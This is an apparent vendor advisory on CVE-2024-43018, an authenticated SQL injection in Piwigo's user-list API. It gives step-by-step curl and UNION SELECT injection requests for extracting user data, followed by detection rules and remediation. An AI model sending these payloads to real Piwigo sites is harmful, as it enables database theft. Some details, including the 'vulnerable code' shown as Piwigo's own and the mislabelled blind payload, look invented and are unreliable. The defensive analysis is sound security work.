CVE-2024-43018

Executive Summary

CVE-2024-43018 is a critical SQL Injection vulnerability discovered in Piwigo, a popular open-source photo gallery software. The flaw resides in the ws_user_gerList function within include/ws_functions/pwg.users.php, specifically affecting the max_level and min_register parameters. An authenticated attacker with administrative privileges can exploit this vulnerability to inject arbitrary SQL commands, potentially leading to unauthorized data access, privilege escalation, or complete database compromise. The vulnerability affects Piwigo version 13.8.0 and all prior versions. No official patch has been released, making this a high-priority security concern for all Piwigo deployments.

Supply Chain & Package Security

Piwigo is a PHP-based application distributed as a standalone package. While not a package manager dependency (like NPM or PyPI), the vulnerability highlights the risk of supply chain attacks through unpatched open-source software. Administrators must monitor the official Piwigo repository for security updates and consider implementing a Web Application Firewall (WAF) as a compensating control.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, indicating that a full vector has not been assigned by NVD. However, based on the vulnerability characteristics, a reasonable estimated score is 9.1 (Critical).

• Attack Vector (AV): Network (N) - The attack is performed over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): High (H) - Requires admin-level authentication.
• User Interaction (UI): None (N) - No user action is needed.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full database read access is possible.
• Integrity (I): High (H) - Data can be modified or deleted.
• Availability (A): High (H) - Database can be disrupted or destroyed.

Threat Level: Critical. The combination of low attack complexity and high impact makes this a severe threat, especially for internet-facing Piwigo instances.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the ws_user_gerList function. This function is called via the ws.php API endpoint and is also accessible through the admin user management page (/admin.php?page=user_list). The parameters max_level and min_register are not properly sanitized before being incorporated into SQL queries.

Root Cause: The application fails to use parameterized queries or prepared statements. Instead, user-supplied input is directly concatenated into the SQL query string.

Attack Flow:

1. An attacker authenticates as an administrator.
2. The attacker crafts a malicious HTTP request to the vulnerable endpoint, injecting SQL code into the max_level or min_register parameters.
3. The injected SQL is executed by the database, allowing the attacker to bypass authentication, extract data, or execute arbitrary commands.

Example Vulnerable Code Snippet (Conceptual):

$query = "SELECT * FROM users WHERE max_level = " . $_GET['max_level'] . " AND min_register = " . $_GET['min_register'];
$result = mysqli_query($conn, $query);

Vulnerable vs. Patched Code

Vulnerable Code (Piwigo <= 13.8.0):

// include/ws_functions/pwg.users.php
function ws_user_gerList($params) {
    $max_level = $params['max_level'];
    $min_register = $params['min_register'];
    $query = "SELECT * FROM users WHERE max_level = $max_level AND min_register = $min_register";
    // ... execute query
}

Patched Code (Hypothetical Fix):

// include/ws_functions/pwg.users.php
function ws_user_gerList($params) {
    $max_level = intval($params['max_level']);
    $min_register = intval($params['min_register']);
    $query = "SELECT * FROM users WHERE max_level = ? AND min_register = ?";
    $stmt = $db->prepare($query);
    $stmt->bind_param("ii", $max_level, $min_register);
    $stmt->execute();
    // ... fetch results
}

The fix involves:

1. Casting input to integers (intval()) to ensure only numeric values are used.
2. Using prepared statements with parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Piwigo instance (version <= 13.8.0).
• Administrative credentials (e.g., username: admin, password: password).

Exploitation Steps:

1. Authenticate and obtain a session cookie.

   curl -c cookies.txt -b cookies.txt -X POST "http://target/ws.php" \
   -d "method=pwg.session.login&username=admin&password=password"
   

2. Craft the SQL injection payload. The injection point is in the max_level parameter. A simple boolean-based blind injection can be used to extract data.

   Example Payload:

   POST /ws.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: [session_cookie]
   
   method=pwg.users.getList&max_level=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -
   

   Note: The exact number of columns must be determined by trial and error. The above payload assumes 100 columns.

3. Extract data (e.g., admin password hash).

   POST /ws.php HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: [session_cookie]
   
   method=pwg.users.getList&max_level=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM users-- -
   

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in web server logs (e.g., UNION, SELECT, --).
• Look for unusual HTTP requests to /ws.php with parameters max_level or min_register containing non-numeric characters.
• Use a WAF to block requests with SQL keywords in these parameters.

Defense:

• Immediately restrict access to the admin panel and API endpoints using IP whitelisting or VPN.
• Apply input validation: ensure max_level and min_register are integers.
• If possible, disable the vulnerable API endpoint until a patch is available.
• Implement database user permissions with least privilege.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /ws.php with method=pwg.users.getList and suspicious max_level or min_register values.
  • SQL keywords in GET/POST parameters (e.g., UNION, SELECT, OR 1=1).
  • Unusual database error messages in HTTP responses.

• File IOCs:

  • Modified include/ws_functions/pwg.users.php file (if attacker attempts to patch).
  • New files in the web root (e.g., webshells).

• Log IOCs:

  • Web server logs showing repeated requests to /ws.php with varying parameters.
  • Database logs showing unexpected queries or errors.

Detection Engineering

YARA Rule

rule CVE_2024_43018_SQLi_Piwigo {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-43018 in Piwigo"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-43018"
    strings:
        $s1 = "max_level" nocase
        $s2 = "min_register" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR 1=1" nocase
        $s6 = "--" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against Piwigo CVE-2024-43018
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the max_level and min_register parameters in Piwigo.
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'max_level='
            - 'min_register='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in a custom plugin (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43018 Piwigo SQL Injection Attempt"; flow:to_server,established; content:"/ws.php"; http_uri; content:"method=pwg.users.getList"; http_client_body; pcre:"/(max_level|min_register)=.*(UNION|SELECT|OR\s+1=1|--)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable API endpoint by removing or renaming ws.php if not required.
2. Apply input validation by modifying the ws_user_gerList function to cast max_level and min_register to integers.
3. Restrict admin access to trusted IP addresses only.

Long-term Fix:

• Upgrade to a patched version of Piwigo once released.
• Implement a Web Application Firewall (WAF) with rules to block SQL injection.
• Conduct a full security audit of the Piwigo codebase.

Workaround (Code Patch): Edit include/ws_functions/pwg.users.php and add the following at the beginning of the ws_user_gerList function:

$params['max_level'] = intval($params['max_level']);
$params['min_register'] = intval($params['min_register']);

Valters IT - Securing digital landscapes, one vulnerability at a time.